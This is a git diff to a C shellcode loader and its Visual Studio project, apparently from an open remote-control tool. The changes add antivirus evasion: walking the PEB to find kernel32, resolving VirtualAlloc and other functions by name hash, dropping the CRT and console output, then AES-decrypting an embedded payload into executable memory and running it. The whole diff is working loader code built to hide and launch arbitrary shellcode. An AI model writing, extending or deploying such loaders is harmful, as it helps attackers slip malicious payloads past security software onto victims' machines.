diff --git a/client/SCLoader.vcxproj b/client/SCLoader.vcxproj
index 7034314..fe067a2 100644
--- a/client/SCLoader.vcxproj
+++ b/client/SCLoader.vcxproj
@@ -97,6 +97,7 @@
Console
true
+ mainCRTStartup
@@ -113,8 +114,8 @@
Windows
true
true
- true
- mainCRTStartup
+ false
+ entry
@@ -128,6 +129,7 @@
Console
true
+ mainCRTStartup
@@ -144,8 +146,8 @@
Windows
true
true
- true
- mainCRTStartup
+ false
+ entry
diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c
index cff56bf..600befd 100644
--- a/client/SimpleSCLoader.c
+++ b/client/SimpleSCLoader.c
@@ -1,5 +1,4 @@
#include
-#include
#include "../common/aes.h"
struct {
@@ -9,24 +8,228 @@ struct {
int len;
} sc = { "Hello, World!" };
+#define Kernel32Lib_Hash 0x1cca9ce6
+
+#define GetProcAddress_Hash 0x1AB9B854
+typedef void* (WINAPI* _GetProcAddress)(HMODULE hModule, char* funcName);
+
+#define LoadLibraryA_Hash 0x7F201F78
+typedef HMODULE(WINAPI* _LoadLibraryA)(LPCSTR lpLibFileName);
+
+#define VirtualAlloc_Hash 0x5E893462
+typedef LPVOID(WINAPI* _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+
+#define Sleep_Hash 1065713747
+typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds);
+
+typedef struct _UNICODE_STR {
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR pBuffer;
+} UNICODE_STR, * PUNICODE_STR;
+
+// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
+typedef struct _LDR_DATA_TABLE_ENTRY {
+ // LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first
+ // entry.
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STR FullDllName;
+ UNICODE_STR BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDataStamp;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+// WinDbg> dt -v ntdll!_PEB_LDR_DATA
+typedef struct _PEB_LDR_DATA { //, 7 elements, 0x28 bytes
+ DWORD dwLength;
+ DWORD dwInitialized;
+ LPVOID lpSsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID lpEntryInProgress;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
+typedef struct _PEB_FREE_BLOCK { // 2 elements, 0x8 bytes
+ struct _PEB_FREE_BLOCK* pNext;
+ DWORD dwSize;
+} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
+
+// struct _PEB is defined in Winternl.h but it is incomplete
+// WinDbg> dt -v ntdll!_PEB
+typedef struct __PEB { // 65 elements, 0x210 bytes
+ BYTE bInheritedAddressSpace;
+ BYTE bReadImageFileExecOptions;
+ BYTE bBeingDebugged;
+ BYTE bSpareBool;
+ LPVOID lpMutant;
+ LPVOID lpImageBaseAddress;
+ PPEB_LDR_DATA pLdr;
+ LPVOID lpProcessParameters;
+ LPVOID lpSubSystemData;
+ LPVOID lpProcessHeap;
+ PRTL_CRITICAL_SECTION pFastPebLock;
+ LPVOID lpFastPebLockRoutine;
+ LPVOID lpFastPebUnlockRoutine;
+ DWORD dwEnvironmentUpdateCount;
+ LPVOID lpKernelCallbackTable;
+ DWORD dwSystemReserved;
+ DWORD dwAtlThunkSListPtr32;
+ PPEB_FREE_BLOCK pFreeList;
+ DWORD dwTlsExpansionCounter;
+ LPVOID lpTlsBitmap;
+ DWORD dwTlsBitmapBits[2];
+ LPVOID lpReadOnlySharedMemoryBase;
+ LPVOID lpReadOnlySharedMemoryHeap;
+ LPVOID lpReadOnlyStaticServerData;
+ LPVOID lpAnsiCodePageData;
+ LPVOID lpOemCodePageData;
+ LPVOID lpUnicodeCaseTableData;
+ DWORD dwNumberOfProcessors;
+ DWORD dwNtGlobalFlag;
+ LARGE_INTEGER liCriticalSectionTimeout;
+ DWORD dwHeapSegmentReserve;
+ DWORD dwHeapSegmentCommit;
+ DWORD dwHeapDeCommitTotalFreeThreshold;
+ DWORD dwHeapDeCommitFreeBlockThreshold;
+ DWORD dwNumberOfHeaps;
+ DWORD dwMaximumNumberOfHeaps;
+ LPVOID lpProcessHeaps;
+ LPVOID lpGdiSharedHandleTable;
+ LPVOID lpProcessStarterHelper;
+ DWORD dwGdiDCAttributeList;
+ LPVOID lpLoaderLock;
+ DWORD dwOSMajorVersion;
+ DWORD dwOSMinorVersion;
+ WORD wOSBuildNumber;
+ WORD wOSCSDVersion;
+ DWORD dwOSPlatformId;
+ DWORD dwImageSubsystem;
+ DWORD dwImageSubsystemMajorVersion;
+ DWORD dwImageSubsystemMinorVersion;
+ DWORD dwImageProcessAffinityMask;
+ DWORD dwGdiHandleBuffer[34];
+ LPVOID lpPostProcessInitRoutine;
+ LPVOID lpTlsExpansionBitmap;
+ DWORD dwTlsExpansionBitmapBits[32];
+ DWORD dwSessionId;
+ ULARGE_INTEGER liAppCompatFlags;
+ ULARGE_INTEGER liAppCompatFlagsUser;
+ LPVOID lppShimData;
+ LPVOID lpAppCompatInfo;
+ UNICODE_STR usCSDVersion;
+ LPVOID lpActivationContextData;
+ LPVOID lpProcessAssemblyStorageMap;
+ LPVOID lpSystemDefaultActivationContextData;
+ LPVOID lpSystemAssemblyStorageMap;
+ DWORD dwMinimumStackCommit;
+} _PEB, * _PPEB;
+
+// BKDRHash
+inline uint32_t calc_hash(const char* str)
+{
+ uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
+ uint32_t hash = 0;
+ while (*str) {
+ hash = hash * seed + (*str++);
+ }
+ return (hash & 0x7FFFFFFF);
+}
+
+inline uint32_t calc_hashW2(const wchar_t* str, int len)
+{
+ uint32_t seed = 131; // 31 131 1313 13131 131313 etc..
+ uint32_t hash = 0;
+ for (int i = 0; i < len; ++i) {
+ wchar_t s = *str++;
+ if (s >= 'a') s = s - 0x20;
+ hash = hash * seed + s;
+ }
+ return (hash & 0x7FFFFFFF);
+}
+
+inline HMODULE get_kernel32_base()
+{
+ _PPEB peb = NULL;
+#ifdef _WIN64
+ peb = (_PPEB)__readgsqword(0x60);
+#else
+ peb = (_PPEB)__readfsdword(0x30);
+#endif
+ LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
+ while (entry) {
+ PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
+ if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash) {
+ return (HMODULE)e->DllBase;
+ }
+ entry = entry->Flink;
+ }
+ return 0;
+};
+
+#define cast(t, a) ((t)(a))
+#define cast_offset(t, p, o) ((t)((uint8_t *)(p) + (o)))
+
+void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
+{
+ PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
+ PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);
+ PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+ if (dataDict->VirtualAddress == 0 || dataDict->Size == 0) return 0;
+ PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
+ if (exportDict->NumberOfNames == 0) return 0;
+ uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
+ uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
+ uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);
+ for (uint32_t i = 0; i < exportDict->NumberOfNames; i++) {
+ char* name = cast_offset(char*, module, fn[i]);
+ uint32_t hash = calc_hash(name);
+ if (hash != func_hash) continue;
+ return get_proc_address == 0 ? cast_offset(void*, module, fa[ord[i]]) : get_proc_address(module, name);
+ }
+ return 0;
+}
+
+inline void* mc(void* dest, const void* src, size_t n) {
+ char* d = (char*)dest;
+ const char* s = (const char*)src;
+ while (n--)
+ *d++ = *s++;
+ return dest;
+}
+
// A simple shell code loader.
// Copy left (c) yuanyuanxiang.
+#ifdef _DEBUG
int main()
+#else
+int entry()
+#endif
{
- if (!sc.data[0] || !sc.len)
+ if (!sc.data[0] || !sc.len)
return -1;
- for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]);
- printf("\n\n");
- for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]);
- printf("\n\n");
-
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
+
+ HMODULE kernel32 = get_kernel32_base();
+ if (!kernel32) return -2;
+ _GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
+ _LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress);
+ _VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress);
+ _Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress);
void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
- memcpy(exec, sc.data, sc.len);
+ mc(exec, sc.data, sc.len);
((void(*)())exec)();
Sleep(INFINITE);
}